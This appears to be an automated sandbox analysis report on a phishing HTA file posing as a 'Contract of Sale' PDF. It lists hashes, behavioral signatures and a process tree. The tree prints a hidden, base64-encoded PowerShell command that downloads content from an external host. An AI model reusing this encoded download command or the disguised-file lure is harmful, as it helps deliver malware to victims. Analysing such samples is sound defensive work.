Analysis
-
max time kernel
891s -
max time network
893s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
27-03-2023 18:41
Static task
static1
Behavioral task
behavioral1
Sample
_43234355_Contract_of_Sale_pdf.hta
Resource
win10-20230220-en
windows10-1703-x64
27 signatures
1200 seconds
Behavioral task
behavioral2
Sample
_43234355_Contract_of_Sale_pdf.hta
Resource
win7-20230220-en
windows7-x64
5 signatures
1200 seconds
General
-
Target
_43234355_Contract_of_Sale_pdf.hta
-
Size
840B
-
MD5
6a8c611062057298887c83ccfe702a15
-
SHA1
8c3023a178c326d9da94273f6dfe62c73ca07f96
-
SHA256
27c34ef5f274515bb252b5e52c009260764918de9b44ef8a1eb549f221f66075
-
SHA512
c562f01f83fbc88f2b4f1177ebcba5ee1a1b752ab7ff94f910d064a4f6d012872496b2082f1bd1d8446b4c5e166bc6e7cdc35c98220742703ee4e30878896133
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1756 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
mshta.exedescription pid process target process PID 912 wrote to memory of 1756 912 mshta.exe powershell.exe PID 912 wrote to memory of 1756 912 mshta.exe powershell.exe PID 912 wrote to memory of 1756 912 mshta.exe powershell.exe PID 912 wrote to memory of 1756 912 mshta.exe powershell.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\_43234355_Contract_of_Sale_pdf.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -WindowStyle Hidden -NonInteractive -NoProfile -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBQACAAQgB5AHAAYQBzAHMAIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AYwAgACgASQAnAHcAJwByACgAJwBoAHQAdABwAHMAOgAvAC8AZwBnAGQAdAAuAHgAeQB6AC8AdwBpAG4AZABvAHcAcwAvAGYAaQBsAGUALgB0AHgAdAAnACkAKQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken